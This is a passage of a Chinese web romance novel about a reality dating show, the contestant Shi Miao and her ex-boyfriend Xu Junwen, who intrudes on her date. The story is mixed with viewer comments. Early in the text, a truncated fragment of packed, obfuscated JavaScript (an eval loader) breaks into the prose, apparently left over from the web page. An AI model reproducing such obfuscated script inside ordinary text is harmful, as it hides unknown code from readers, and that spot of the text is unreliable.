她平时就喜欢收集各式各样的香水,她自家房间的梳妆台上有一个三层亚克力盒子,满满当当陈列着她收集回来的香水——有些是香型比较有特色,有些纯粹是因为她喜欢瓶子的造型。 该说不说,节目组安排的这个环节还蛮合她胃口的。 为了给女嘉宾们提供选择的思路,节目组还贴心地给每一瓶香水都准备了四张试香纸。 馥郁浓烈的玫瑰调、清新淡雅的小雏菊、活力甜美的果香调、宁静高雅的木质香调。 四种香水风格各异。 作为前一晚收到短信最多的女嘉宾,时缈拥有了优先选择权。 “看时缈的风格气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许钧闻点点头,变戏法似的从怀里掏出一个印着节目logo的信封,起身交到工作人员手里: “择日不如撞日吧。” “我看今天挺吉利的,宜使用道具。” * 好巧不巧,抵达学会地点后,时缈发现等待在视野尽头的居然是她昨晚的短信对象,薛明浩。 “等很久了吗?” 时缈上前,惊讶地发现对方手里还抱着一小捧花束,几朵蓝星花、尤加利、洋甘菊作为点缀,搭配几朵香槟色的玫瑰,花束正中央是一大朵向日葵。既不显得过分暧昧,又浪漫得恰到好处。 看见时缈出现,薛明浩也有一瞬间的意外,随即他将花递给她,笑着摇头:“也没有。” 然后又绅士的夸赞她:“你今天很漂亮。” 由于不清楚今天的具体活动项目是什么,时缈便没有穿得太隆重复杂,而是选择了一个短款奶茶色长袖T恤,搭配一条高腰阔腿裤,将本就优越的身材比例展现得淋漓尽致。 长发被她扎成一个高马尾,整个人看上去充满了青春活力。 喷上薛明浩制作的那瓶果味香水,有种刚毕业的女大学生的感觉。 “意思是我昨天不漂亮?” 或许是因为离开了别墅,时缈难得暂时遗忘了许钧闻的存在,难得在新认识的嘉宾面前流露出了一点活泼的影子。 “开玩笑的,”她凑近仔细看着收到的花,“也谢谢你的花,很好看。” “有想到是我来吗?” 两人一边并肩往前走,时缈一边和薛明浩闲聊。 “说实话?” 薛明浩不好意思地笑笑:“感觉我选的香水不像是你的风格。” “你觉得我是什么风格?”时缈有些好奇。 对面一辆自行车摇摇晃晃骑过来,薛明浩十分自然地将时缈换到了远离车辆的内侧,沉吟了一瞬: “优雅、温柔,当然,也很好看。” 时缈笑起来,大方接受了他对自己的赞美。 或许是两人身上的磁场有些相似,比起异性约会,他们这对的进展更像是好友相聚。 薛明浩将约会地点定在了一家油画工作室,顾客可以在老师的指导下自行创作,也可以选择一幅作品进行临摹。 时缈从小就没有什么美术细胞。 小时候学校老师布置的手抄报作业都是她爸爸代劳,美术作业更是干脆让她那很爱画画梦想成为一个漫画家的好闺蜜帮忙完成。 她对自己绘画技术的认知很清晰——哪怕是画个爱心都画不对称的那种绘画白痴。 “那我可就要献丑了。” 时缈在薛明浩的帮助下系上围裙:“希望你不会被我的‘作品’丑到。” “抽象艺术也是一种艺术。”薛明浩将画笔递给她,“你就放心大胆的创作吧,晚上带回去挂在别墅最显眼的位置。” “让我独立创作实在是太难为我了。” 时缈指了指墙上挂着的例图,转头跟工作室的老师说道:“我还是选一幅临摹吧。” 就在时缈跟随老师去选画的时候,身后忽然传来一阵骚动。 她不解地回头。 就看见浩浩荡荡一群工作人员走了进来,慢条斯理跟在最后的,是身为观察团成员的许钧闻。 ——许钧闻在昨天的预测环节中获得优胜,得到的道具是:加入任意一组约会。 下面还写着这样一行小字: 【一起为这次约会的成功添砖加瓦吧~】 添、砖、加、瓦。 呵。 拿到道具卡的许钧闻勾了下唇,对送上道具后满怀期待地希望他对着直播镜头说些什么的工作人员道:“嗯,知道了。” 道具设计出来当然就是要使用的,所以,他这不是就来,添砖加瓦了吗。 「这哥是来亲眼见证昨晚自己连对的cp的进度了是吧?」 「演我嗑cp,我就恨不得躺在我拉郎的床底。」 「喂喂喂前面的姐妹,你的想法很危险啊……」 「哈哈哈哈哈哈你们快看素人嘉宾们的表情,小姐姐人都傻了啊哈哈哈哈哈哈哈。」 “??” “你怎么来了?” 时缈确实快傻了。 许钧闻来这里干什么啊? 参加约会吗? 导演组一开始解释节目机制的时候可没说还有这个环节啊! 许钧闻堂而皇之地坐在了时缈座位右边的邻座上,大长腿屈起,姿态随意慵懒,语气理所当然: “观察员啊,当然是来观察的。” 7. 7首情歌 「怎么觉得许哥一来,反而气氛变得更尴尬了。」 「确实,原本我看时缈和薛明浩两个人还挺和谐的,聊得也挺愉快,结果许哥以来,大家连话都不说了hhhhh」 「许钧闻:让我来助这两位有缘人一臂之力!薛明浩:哥,有你真是我的福气:)」 连隔着屏幕的观众都能察觉出他们三人尴尬的气氛,更不用说身处尴尬旋涡中心的时缈本人了。 时缈的左手边坐着薛明浩,而许钧闻进门口径直选在了她右侧。 两个男人恰好对她形成了一个“夹击之势”。 “怎么不坐?” 当着直播间观众的面,许钧闻侧头看向踌躇在原地的时缈,甚至看上去颇为体贴地摆摆手:“不用紧张,当我不存在,你们好好玩儿就行。” 「怎么回事?我怎么品出了一股“我不是来破坏这个家,我是来加入这个家的”绿茶味儿hhhh」 「拜托,哥,你这么一说人家素人小姐姐只会更紧张的吧!」 时缈抬眼和自己的PD对视一眼。 PD小姐姐连连点头,还朝她示意让她尽快落座继续下面的录制。 时缈无奈地捏了一下自己的鼻梁,换上一个恰到好处的得体微笑,走到两个男人中间的空位上坐下:“好啊,欢迎。” * 虽然许钧闻嘴上说着当他不存在,但他本人自带的极强存在感实在让人很难忽视他。 “这里,其实可以先用单色画出它的大概形状,然后再一层一层往上面铺色,暗处可以铺薄一些……”[1] 见时缈咬着下唇对着画板犯难,薛明浩主动向她这边倾斜了身子,伸手指着例画的明暗色块给她讲解。 但话还没说完,坐在时缈另一侧的许钧闻忽然开口: “你们谁有蓝色颜料?借我用用?” 见两人同时回头看他,又微耸了下肩:“哦哦,抱歉,你们继续。” ……虽然时缈完全没从他脸上看出抱歉的意味来就是了。 好好的双人约会硬生生变成了三人朋友局,直播间里为了看甜甜恋爱暧昧互动的观众纷纷跑路去了其他组的直播间里,留下的几乎都是许钧闻的粉丝。 哦,还有黑粉。 粉黑之间为了一些鸡毛蒜皮的小事在弹幕里你来我往地对喷刷屏,倒是误打误撞地将直播间的热度维持在了节目五个直播间的前列。 见热度没受太大的影响,节目组也没有对这一组的约会进程进行任何干预。 于是新进直播间的观众们就会看见这样诡异的一幕—— 三个嘉宾沉默地并排坐着,一言不发,专心地在面前的画板上写写画画,和谐安静得仿佛令人以为自己是误入了一个学习陪伴白噪声的直播现场。 「家人们,这是恋综没错吧?」 「不,这是不会写情歌的歌手许钧闻采风实录vlog。」 「咱们就是说,能录综艺的人果然心理素质都不错,我都快抠出一座芭比梦幻城堡了,这几位居然面不改色岿然不动。」 「咱们许哥录制综艺的宗旨:只要我不尴尬,尴尬的就是别(观)人(众)哈哈哈哈哈哈」 相比弹幕的一片热闹,时缈只觉得这个工作室现在安静得可怕。 左右两边不断传来画笔涂抹颜料时发出的细微摩擦声,油画颜料散发出的松节油味萦绕在时缈的鼻尖,可她却始终能在这股属于颜料的木质气味中闻到来自右边的橙花混合着淡淡薄荷气的味道。 时缈心不在焉地画着画。 注意力却总是忍不住飘向右边。 余光中看见许钧闻换了一支不知道从哪儿摸出来的炭笔,被削得又长又尖的笔尖飞快地在画纸上移动。 不用仔细去看,她都能想起许钧闻修长的手指握着画笔微微使力时,手背上筋络和血管凸起的纹路。 曾经他们两个人在一起时,遇上两人都没什么事的空闲午后,时缈也会给一时兴起的许钧闻做素描模特。 虽然那些画像大部分都是半成品——因为两个人总会在画到一半莫名其妙地亲到一起去。 那时候许钧闻的身上也总会萦绕着淡淡地橙花和薄荷的香气,又会随着时间逐渐演变成檀木的味道,其中夹杂着她惯用的玫瑰沐浴露和床头百合的气息。 交织成一个悠闲又隐秘的爱情故事。 都说时间是最无情的刽子手,能将人雕刻成与过去完全不同的模样。 可许钧闻对香气的偏好似乎至今都未曾变过。 倒显出一副与他本人形象看上去大相径庭的、容易令人误会的长情。 直播镜头在发现许钧闻换了画笔和画纸,想要凑近拍摄出许钧闻到底在画什么,却被他语气淡淡却不容置喙地制止: “随便画着玩,就别污染观众朋友们的眼睛了。” 说完,他又忽然低笑了声: “看咱们这个节目还要过sancheck,观众就该向节目组索赔了。” “怎么会呢许老师。” 薛明浩看向许钧闻刚才的那副油画,发自内心地感慨:“没想到许老师不仅会写歌,连画画都画得这么好。” “一般吧,以前学过点皮毛。”许钧闻摆摆手,不甚在意。 既没有一般人在镜头前被夸奖时刻意表现出的谦逊,也没有因为一丁点儿需要被及时隐藏的自得。 时缈知道,他一直都是天之骄子,即使在一意孤行非要走上音乐这条路的前几年里明珠蒙尘,也终将站在最璀璨的那个舞台上收到音乐信徒的无上敬仰。 「所以,哥你另一幅画里究竟画了啥不能给我们看的吗?」 「应该是随便画的吧,没看都没用颜料么。」 「原来我男神还会画画!好的,更爱了~」 弹幕里借着这个节目更加了解自己偶像的粉丝们纷纷吹起了彩虹屁,而画面里的许钧闻只是潦草涂抹了最后几笔,随意将白纸取下来,折成几折塞进了外套内衬口袋里。 * “所以,许老师是要和我们一起去吃饭吗?” 时缈看着自顾自拉开驾驶座的许钧闻,不由地问出声。 “当然,都说了要观察整场约会。”许钧闻点点头。 “都说了,不必在意我的存在。” 怎么可能。 一个大明星,给素人开车?换谁谁能当他不存在啊? 时缈忍不住怀疑。 她出国这几年里,许钧闻是不是不小心被门夹到了脑袋,从而留下了什么后遗症啊? “按照你原本的安排来,”许钧闻摇下车窗对薛明浩道,堵住了薛明浩试图将他换出驾驶位的话,“我没什么忌口,吃什么都行。”< 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一道绵延的江水将这座很好地融合了古典与现代气息的城市从中间一分为二,河岸两侧的绿林隔水相望,观光船缓缓驶过,劈开江水的薄浪,留下一片渐渐扩散开的涟漪。 “好美。” 时缈忍不住感叹。 “你是北方人吗?”薛明浩歪了下头。 时缈竖起一根手指:“暂时保密哦。” 按照节目组的安排,嘉宾们要等到今晚约会结束,所有人都回到别墅之后才能公布职业、年龄以及其他的个人信息。 “许老师看看菜单?” 桌上只有一份菜单,薛明浩主动将它先递到了许钧闻的面前。 许钧闻支着下巴看窗外的风景:“我就是个蹭饭的,你们先点,不用刻意管我。” 于是薛明浩将菜单递给时缈。 “多菲内奶油焗土豆,黑松露野菌浓汤,招牌罗西尼牛肉。甜点我就要一份苹果派吧。”[2] 时缈将菜单递还给薛明浩。 薛明浩很快也点好自己那份餐,再次望向许钧闻。 “懒得看菜单了,”许钧闻摆摆手,随手指了下时缈,“照着她的这份给我上份一样的就行。” “不要蛋糕吗?” 时缈下意识地看向许钧闻。 她记得许钧闻以前来这种西餐厅吃饭的时候总是喜欢点一份蛋糕的。 谁能想到,外表看起来放荡不羁一酷哥的许钧闻实际上是个格外喜欢吃甜食的人呢? 紧接着下一秒,她就发现了自己这句话问得有些过于自然了。 “担心晚餐不合许老师的胃口,来的路上专门去网上搜了一下许老师的口味,看有粉丝说,许老师似乎蛮喜欢吃甜食。” 时缈飞快地想到了个借口,圆上刚才那句话。 “我看菜单上,这家店的黑松露戚风蛋糕似乎是热门推荐。” 许钧闻好整以暇地看着时缈: “是吗?那还真是太客气了。” “不过你搜到的情报不是特别准确。” 许钧闻的眸子凉了下去,挥手示意服务员下去: “我是挺喜欢吃甜食的,但是,蛋糕类除外。” 8. 8首情歌 要是放在六年前,许钧闻断然不会这样和时缈说话。 要是放在六年前,时缈听见别人这样阴阳怪气意有所指的话一定会不管不顾地讽刺回去,哪管是在什么场合。 可是…… 现在已经不是六年前了。 许钧闻不再是那个可以牵着她的手随意走在大学城街头,和她分享同一碗麻辣烫的那个男生了。 时缈也不再是那个一遇到不顺心的事情就使小性子直到有人愿意低头来哄她的那个小姑娘了。 他是万人瞩目的大明星。 她呢,普普通通的一个素人而已。 时缈不想、也不能在直播镜头前和许钧闻发生任何摩擦、冲突、不愉快。否则,率先被网络舆论淹没的必然是她。 她没有那个底气,敢在直播节目中出岔子。 在许钧闻意味不明的注视下,时缈微微扯了下嘴角,面色柔和,仿佛根本听不出许钧闻话里的刺一样:“原来是这样啊,看来是我功课做得不到位了。抱歉哈许老师。” 脾气好得连观众都有些看不下去: 「耍什么大牌啊某些人?看得火大,强行插.入嘉宾约会也就算了,还动不动对着女嘉宾阴阳怪气,未免也太没品了。」 「现在的艺人为了维持娱乐圈活人bking人设连素人都不放过了?内娱真是快完了。」 但也有人为许钧闻解释: 「人家只是确实不吃蛋糕而已,怎么就被恶意解读成针对女嘉宾了?」 「许钧闻机场维护女粉丝怒呛代拍的视频还有人没看过吗?怎么2024年了还有人造谣许哥不尊重女生啊?」 许钧闻不知道弹幕的走向。 又或者说,他也不在乎网上那些人是怎么评价自己的。 漂亮的桃花眼落在时缈身上,像是要从她脸上找出什么似的。 但许钧闻失败了。 很多事情都在他不知道的时候悄悄变了。 当年突然无比决绝地要和他分手的时缈如是。 现在学会了乖巧忍耐的时缈亦如是。 以前稍有不顺心就要板着脸耍小性子等人去哄的小姑娘,现在也变成了一个符合世俗意义上的“成熟”的大人了。 许钧闻忽然失去了继续试探时缈的兴致。 她现在这副温柔包容的样子,总让许钧闻觉得,她似乎在自己看不到的地方受了很多委屈似的。 可当初是她自己说要去追寻自己的梦想了的。 不是说就要过上自己真正想要的生活了吗? 许钧闻捏了捏自己的鼻梁。 所以时缈到底是为什么把自己搞成现在这副样子的。 直到晚餐结束,许钧闻整个过程都格外沉默。 像是陷入了某些重要的思考当中似的,来时抢着坐进驾驶位的人,回程时独自一个人神色冷倦地坐在后排。 只是视线总是时不时落在时缈身上。 好几次她在和薛明浩说话时,无意间抬头看眼后视镜,都能对上许钧闻若有所思的视线。 饶是时缈也看不出许钧闻此刻的眼神到底是什么意思。 但她本能地感到有些心虚。 ——该不会是在筹划如何把她从这个节目里踢出去吧? 那也行,只要别让她付违约金就行。 三人回到别墅后,发现他们这一组竟是最晚回来的一个。 “去玩儿什么了啊?这么长时间。”温璐率先迎上来,在看见走在时缈身后的许钧闻时,并没有流露出丝毫惊讶的神色。 前几组嘉宾结束约会回到别墅后,留在家里通过直播观看他们约会全过程的几位观察嘉宾就已经给他们“补过课”了:“消失”的许老师动用了节目组的特殊道具,加入了时缈他们这一组的约会活动。 “怎么觉得许老师兴致不高?”罗艺亭凑上来,“是对今天的行程不感兴趣吗?” 她滔滔不绝:“早知道许老师应该来我们这一组一起玩的,我和景川一起去听了场‘Xing’乐队的live,想来应该是许老师会喜欢的活动。毕竟许老师在音乐方面是专业的。说不定还能给主办方和乐队提出一些很宝贵的意见呢。” 罗艺亭试图用“音乐”这个许钧闻的专业领域找到一些和他的共同话题。 为了在直播镜头下挽回早餐时的尴尬。 “在完成一项工作的过程中给自己布置另一项工作,我看起来像是脑子有毛病吗?” 原本坐在懒人沙发上撸狗的许钧闻,毫不顾忌此刻直播镜头还开着,冷淡地瞥了罗艺亭一眼:“邀请我上音综当导师是什么价格知道吗?通告费你替他们出?” 怼完罗艺亭,许钧闻偏头看向机器背后的节目组工作人员,嗤笑一声,那双似乎看谁都多情的桃花眼里是不加掩饰的嘲讽。 「罗姐真的勇。」 「敢在许钧闻面前提这个乐队,素人不知道也就算了,节目组还能不知道许钧闻和xing乐队主场之间的梁子?故意的吧。」 「哥什么时候和他们乐队有梁子了?不是他们乐队单方面上赶着蹭吗?从去年出道就打着‘许钧闻第二’的旗号,号称原创的歌也被扒出来缝合了我哥爆火前的好几首作品了,就这样还不肯承认呢。」 「前面许粉怎么说话呢?没证据就说新人乐队抄袭?要真觉得自己被抄了就告啊,无凭无据在这儿破什么脏水呢。」 「煞笔节目组,拿我哥炒话题没完了是吧?一群司马玩意儿。」 弹幕里网友们的争执愈演愈烈,别墅现场的人却都像是被噤了声一样。 即便有些人至今还不清楚其中的原委,但在场的所有人都能看得出许钧闻的心情不好——不对,不仅仅是“不好”,而是“极差”。 罗艺亭更是直接白了脸色,求助地看向周围的人。 而作为娱乐圈内的人,祝意安等人更是对许钧闻和xing乐队之间的事情有所耳闻。 一时间所有人你看看我,我看看你,却没有人肯主动说话。 说白了,没人想在这个时候触许钧闻的霉头。 监视器后面坐着的导演差点跳起来:“谁负责这一组的?约会内容不是说要提前审核吗?都审核进狗脑子里去了?!” 也不怪导演暴躁。 以许钧闻的身份和脾气,如果他不乐意了,这节目明天就有可能 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就看许钧闻这位大佛愿不愿意下这个台阶了。 “……” 许钧闻微微偏头瞥了一眼时缈的背影,牙齿轻咬了一下口腔侧边的软肉。 “低血糖,心情不好,各位多包涵一下吧。” 许钧闻嘴上说着“请多包涵”,面上却还是一副“老子很不爽都别来招惹我”的态度,转身率先朝着休息区的开放式餐吧走了过去。 但即便如此,也够节目组松一口气了。 不管许钧闻这话是否出自真心,但总归是他本人说出来的,上到节目组下到观众网友,不认也得认。 于是弹幕的关注点很快就从许钧闻和Xing乐队之间的恩怨纠葛转移到了另一个方向: 「不是,许钧闻这人是不是有精神分裂啊?之前在餐厅还对人家女四阴阳怪气呢,这会儿居然就这么顺着台阶下了?」 「再次重申一遍,那不是阴阳怪气!只是直白地表达出了自己的喜好而已!如果真是对女四有成见的话按这哥的脾气根本不会顺着她的台阶下好不好!」 「许钧闻,好难猜一男人……」 「怎么说呢……没有人觉得许钧闻和时缈这两个人之间的氛围也很微妙吗?」 「前面的注意一点!这是素人恋综!不是《顶流明星爱上我》的土味短剧拍摄现场!」 「笑死,这个时缈是不是真想出道啊?这就开始买和许钧闻的绯闻水军了?」 「我就说这么一句,许粉少给我扣帽子和粉籍哈,管天管地还管我嗑什么cp了?你圈什么时候立法了?」 「立没立法不知道,反正我看有些人是真不知道“圈地自萌”四个字怎么写。」 或许是被弹幕里的粉丝怼出了逆反心理,不出十分钟,茫茫微博广场上还真的出现了这样一条内容: 【我创建的“时钧力敌”超话开通了,快来看看吧。超话是兴趣社区,进来发帖可以和更多爱好者一起交流哦~戳[时钧力敌超话]】[1] 9. 9首情歌 按照节目组的规则,入住别墅的第二天,素人嘉宾们会公开自己的职业和年龄,以及其他相关的个人信息。 以往很多恋综嘉宾们的心动线在这一环节后都会产生或多或少微妙的变化。 不少网友也早早等候在直播间里,就为了看看嘉宾们的真实职业和自己猜想的是否一致。 率先揭秘自己真实身份的是最没有悬念的女嘉宾罗艺亭——自带流量拥有近三十万粉丝的时尚博主,上个月刚刚成立属于自己的新媒体工作室。 节目组刚一官宣嘉宾阵容,评论区的前排就被她的粉丝们迅速占领。 “我刷到过你的视频!” 有男嘉宾主动捧场:“真人比镜头里更漂亮呢。” “谢谢你哦。” 罗艺亭抿嘴一笑,顺势和男嘉宾发起对话:“既然这样的话,那我就指定下一位由你来发言吧~” 这位男嘉宾名叫林问,是一名职业电竞选手。从进入节目的第一天起他就对罗艺亭表达出了明显的好感,即使今天白天抽到的约会对象是温璐,林问也还是在回到别墅之前专门给罗艺亭带了小礼物。 紧接着,林问将目光投向了罗艺亭今天的约会对象:“下一个,到白哥你咯?” 随着林问的话,时缈也将视线转向了白景川的方向。 通过之前的几次聊天和接触,白景川这人给时缈留下的印象也还不错——体贴、周到、耐心、绅士。 怎么看都是她家吴老师喜欢的那一款。 想到吴老师这会儿可能也在看节目直播,时缈就忍不住一阵头大。 好在大学和许钧闻谈恋爱那会儿她没有跟家里说过,否则现在这个情况,恐怕她的手机早就被吴老师打爆了。 时缈的眼神落在白景川的方向,思绪却已经跑远。 “我大概是在场年纪最大的了,”白景川仍是那副温温和和的样子,主动开起了自己的玩笑,“我今年三十岁,职业是风投顾问。” “哇哦,”罗艺亭小声惊呼,表情带着些小得意地朝白景川扬了下下巴,“看来我之前的猜测还是蛮准的嘛。” “之前”是哪个之前?她没有明说,倒是给在场的所有人以及直播间的观众留下了很大的遐想空间。 而听见了白景川的职业和年龄之后,时缈更是默默借着挽头发的姿势揉了揉自己的太阳穴。 金融业高薪精英。 完了,恐怕更对吴老师胃口了。 但她这副样子落在许钧闻眼里,就变成了另一个味道。 “金融业啊?” 之前一直没有加入群聊的许钧闻忽然饶有兴致的开口:“在哪儿高就?” 白景川摊了下手:“未经公司允许,不能在节目里公开公司的名字。许老师要是有业务的话可以私下联系我。” “白哥还挺谨慎。”许钧闻勾了下唇角。 一声“白哥”叫得掷地有声。 “我应该没有比许老师大太多,”白景川挑了下眉,“叫我景川就好了。” 「笑死,怎么回事,许钧闻你注意一下你的身份嗷!你又不是来谈恋爱的,哪儿来的那么重的火药味啊hhhhh」 「许哥这么沉浸式嘛?感觉他带入的不是观察团而是男嘉宾了哈哈哈哈哈哈哈」 「之前只听过许钧闻的歌,对他本人没什么了解,看了这个节目我算是知道什么叫做“无差别攻击”了哈哈哈哈哈,这哥不论男女逮着谁怼谁是吧?」 「窒息,许钧闻这人未免也太难相处了,怪不得之前不参加综艺,我看是怕掉粉所以不敢让他参加吧:)」 程子归的目光在许钧闻和白景川之间打了个转。 男性面对同类的那种直觉让他敏锐地察觉到了这两个人之间的微妙火药味。 这两人总不能之前就有仇吧? 节目组总不至于一点背调都不做吧? “既然你这么说了,那咱们节目结束之后可要加个联系方式了,说不定我也有业务要跟你咨询呢。” 即便脑海中闪过了许多念头,秉持着艺人的职业本能,程子归还是站出来打了个圆场。 “那现在轮到景川指定下一个介绍自己信息的嘉宾咯,你想好选谁了吗?”程子归忙不迭cue起了流程。 “时缈吧。” 白景川秒答。 “我好奇蛮久的了。” 时缈眨了眨眼,对白景川选择自己这件事并没有很意外。 “我先来猜猜吧!” 时缈还没开口,坐在她斜对面的周璨忽然举手,自告奋勇。 时缈做了个“请”的手势。 “我猜……美术老师?”周璨歪了下头。 “美术……老师?”时缈指了指自己,目光震惊又疑惑,“你确定吗?” 周璨见她如此反应,语气有些犹疑起来:“唔,从你这两天的穿着来看,我觉得你是个审美品味很好的人来着。” 一旁的许钧闻低笑一声,再次吸引了所有人的目光。 而他本人却懒散地摆摆手:“没事,想到了一点好笑的事情,你们继续。” 时缈表面上仍端着笑,心底早就开始磨牙了—— 别以为她感觉不到,许钧闻这家伙就是在暗戳戳嘲笑她! “你这么一说,我也觉得缈缈的气质有点像老师,而且一定不是主课老师。” 温璐玩笑道:“我有朋友,高中数学老师兼任班主任,每天的怨气比鬼都重。看缈缈这精神状态,不像是深受教学压力折磨的样子。” 周璨和温璐两人一通分析,逻辑自洽思路闭环,成功地把所有人都引到了“猜猜时缈到底是教什么科目”的方向上去。 见大家的想法距离谜底越来越远,正主时缈终于站出来打断一群人热火朝天的分析:“那个,其实,我不是老师。” 迎着一众人或诧异或迷茫的目光,时缈温声道:“我今年二十七岁,职业是古典舞编导。” 而后很快大家的注意力就转到了下一个介绍自己详细信息的嘉宾身上。 没人发现,在直播镜头拍不到的角度,许钧闻盯着时缈的侧脸,缓缓地皱起了眉头。 * 结束完备采,时缈颇有闲心地在别墅的后院里逛了逛。 夜风席卷着青草和灌木的清新气味扑面而来,将她温柔地包裹起来,在摄像头下紧绷了一天的神经终于得到了片刻松懈。 走到小径的分叉口,一侧是后院更深处,一侧是亮着灯光的别墅。 时缈的步伐短暂地停顿 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倒不是她家吴老师没有给她安排过相亲。 只是应了那句话,年少时不能遇见太惊艳的人,否则此后见到的所有都只会是过客。 时缈在吴老师恨铁不成钢的眼神中婉拒了每一个对她有好感的相亲对象。 如果不是她在社交软件上收到《适合恋爱的夏天》选角导演私信的事情不小心被闺蜜在吴老师面前说漏了嘴,时缈原本是想当做这件事从未发生过的。 闺蜜顾梦瑶开解她:“就当是了了阿姨一桩心愿。况且你不是说现在舞团的票不好卖了吗?说不定你上完节目一炮而红了之后,还能带动一下你心爱的古典舞事业呢。” 坐在秋千上,时缈幽幽叹口气。 能不能安抚住吴老师、带动舞团上座率她不知道,她只知道,自己这一个月的日子肯定会很难熬。 倒不是她自恋地认为许钧闻还对她余情未了。 她是担心自己对许钧闻旧情难忘的事情被许钧闻本人发现。 照她对许钧闻的了解,如果被许钧闻知道,自己其实这几年对他还念念不忘的,他肯定会毫不留情地对她进行全方位的嘲讽和打击。 想想就丢人。 时缈揉了揉自己的鼻子。 “想什么呢?” 身后忽然传来一个声音。 吓得时缈蹬地的小腿下意识地骤然发力! 原本悠荡秋千的节奏忽然被打乱,而她还没来得及抓紧秋千两侧的牵绳。 时缈只能感觉到自己的身体忽然失去平衡,重心后移,整个人不受控制地向后摔去! “啊——!” 时缈抑制不住惊呼一声,熟悉的恐惧感席卷了全身,她下意识地闭上了眼睛—— 腰部被人强势地按住,转瞬之间,时缈只觉得一股大力袭来,她被扯进了一个带着薄荷味的怀抱中。 “许钧闻!” 她甚至没有睁眼,就下意识地喊出了那个再熟稔不过的名字。 时缈抑制不住自己的哭腔,声线颤抖着,带着显而易见的委屈。 “你干什么啊?吓死我了!” 10. 10首情歌 时缈嗔怪又委屈的语气让两人同时一怔。 曾几何时,许钧闻把人按着欺负的时候,时缈也总是会用这样的语气连名带姓地叫他的名字。 桃腮粉脸,杏眼含泪。 只是比起那时,许钧闻觉得他似乎在时缈的语气中感受到了一丝……后怕。 “我吓人?” 许钧闻哼笑一声。 话是这么说,手掌却很自然地在她的脑后顺了顺,带着十足的安抚的意味。 熟悉的动作让伏在他身上的时缈陡然生出几分贪恋。 以前她夜里半梦半醒间,翻身埋进许钧闻怀里的时候,他总是会这样摸一摸她的头发,即便他自己那会儿也未必清醒。 时缈也在开玩笑的时候问起过这件事:“所以你每次半夜搂我的时候到底是醒着还是没醒啊?” “我也不知道,”许钧闻环抱着她,给她戴上耳机听他新录的demo,下巴搁在她肩上,“大概是下意识的本能动作吧。” 时缈只觉得自己此刻心脏跳得飞快,不知道是因为刚才的意外坠落,还是因为这个阔别许久的怀抱和安抚性的动作。 如果是做梦就好了。 她就能毫无负担地放任自己沉沦。 可偏偏不是。 松开紧攥着的许钧闻的衣领,时缈一手撑着旁边的草地,想从他身上起来:“抱歉啊。” 许钧闻的手臂却强势地圈着她,不肯这么轻易地放她走: “时缈,没做亏心事,你怕什么鬼敲门?” 时缈推了推他,嗔道:“是你先走路没个动静的。” “想什么呢这么入神,后面有人来都不知道。”许钧闻第二次问道。 “没什么,就发发呆,不行嘛?”时缈戳了戳他的肩膀,“我要起来了。” 定定看了她两眼,许钧闻这才终于松开了环住她的手臂,任由鼻尖那抹乌木玫瑰的香气渐渐远去,屈肘微撑起身子仰头看着起身整齐衣摆和头发的女人。 比起六年前的青涩和活力,如今的时缈显得沉静温柔许多,多年的舞蹈功底在她身上留下了很明显的印迹,无论何时何地,她总是能在最短的时间内整理好自己的仪态,重新变回那朵山顶上纤细挺拔独自开放的百合花。 “许老师大晚上不睡觉,跑到后院来干什么?” 时缈坐在他身侧,转移话题的技术并不算高超。 “你来干什么,我就来干什么。” “哦,”时缈点点头,话里带了点攻击性,“我来这儿考虑下次和哪个男嘉宾约会,许老师也是吗?” 今天的第一次约会是由男嘉宾发起,女嘉宾盲选。 而两天后要进行的第二次约会,则是由女嘉宾前去当面邀约自己想要约会的男嘉宾,而男嘉宾不能拒绝。 “哦,我忘了,许老师作为观察团是有特权的。” “许老师想好下一次‘打扰’哪对嘉宾的约会了吗?” 她将“打扰”两个字咬得格外重。 仿佛是在暗示,今天许钧闻的加入对她来说就是一场彻头彻尾的“打扰”。 许钧闻定定地盯着她。 “出什么事儿了?”他忽然问。 时缈一愣:“没有。” “那你在这儿耍什么脾气呢?”许钧闻的眉头缓缓皱起。 以前就是这样,一有什么心事想瞒着他的时候就像只气鼓鼓地小刺猬似的,非要把全身的刺竖起来。 “……” 像只被戳破了皮的气球,时缈垂下眼睛不和他对视:“谁耍脾气了。” “行,你说没有就没有。”许钧闻耸肩,站起来拍了拍身上的尘灰和草屑,微微俯身向时缈伸手,示意让她借力起身。 时缈别开脸,两手撑着草皮自己站了起来:“刚才的事,不好意思。” “比起道歉,你难道不是更应该道谢才对吗?”许钧闻的目光若有所思地落在她身上,“怎么,时大首席去国外待了几年之后连这点礼仪品德都忘了吗?” 时缈的眸子闪了闪,垂在一侧的手紧紧攥着衣服下摆,吸了口气,她抬头朝他露出一个恰到好处的礼貌微笑:“谢谢许老师刚才见义勇为了,回头我定制一面锦旗亲自送到您的公司去。” 说罢,时缈不再去看许钧闻的表情,转身朝别墅的方向走去。 “时缈。” 许钧闻的声音从身后传来。 不大不小,落在空旷的夜幕下。 “不是说要去最大的舞台上做独一无二的明珠吗?” “为什么不跳舞了?” 时缈的脚步顿了一下,头也没回:“这就属于我的个人私事了许老师,恕我无可奉告。” * 次日。 依照节目组的台本,今天白天没有安排直播和录制,观察团和嘉宾们的行程完全自由。 而当时缈自睡梦中惊醒的时候,同房间的温璐已经出发去工作了。 前一晚公布职业的时候,众人才得知,有些娃娃脸、看上去娇小又可爱的温璐,本职工作居然是律师。 “说实话,确实和我想象中的律师形象不大一样。”意外过后,时缈发自内心地感慨。 温璐吐吐舌头:“谁规定,律师一定都是哪种严肃冷酷气场两米八的御姐了?在座各位以后有任何法律问题都可以咨询我哦~” 顿了下,她补充道:“咨询费我给大家打八折。” 仰面盯着被刷成暖色的天花板发了一会儿呆,时缈慢悠悠地起床洗漱。 嘉宾们各自出门,倒显得时缈格外悠闲。 一个地在空荡荡的别墅里吃完早餐,时缈换了身衣服,打车去了一趟舞团。 一进排练室,时缈就被团里的舞者们里三层外三层地围住,七嘴八舌地询问起她参加节目的感受如何。 离她最近的小姑娘笑嘻嘻地问:“时老师,是不是过段时间就能见到你领个师公回来了哦?” 时缈歪了下头,套话:“怎么,你们这两天都在看直播啊?” 小姑娘天真,不疑有他,点点头:“是呀,大家都在猜你对哪个男嘉宾的好感度更高呢!” 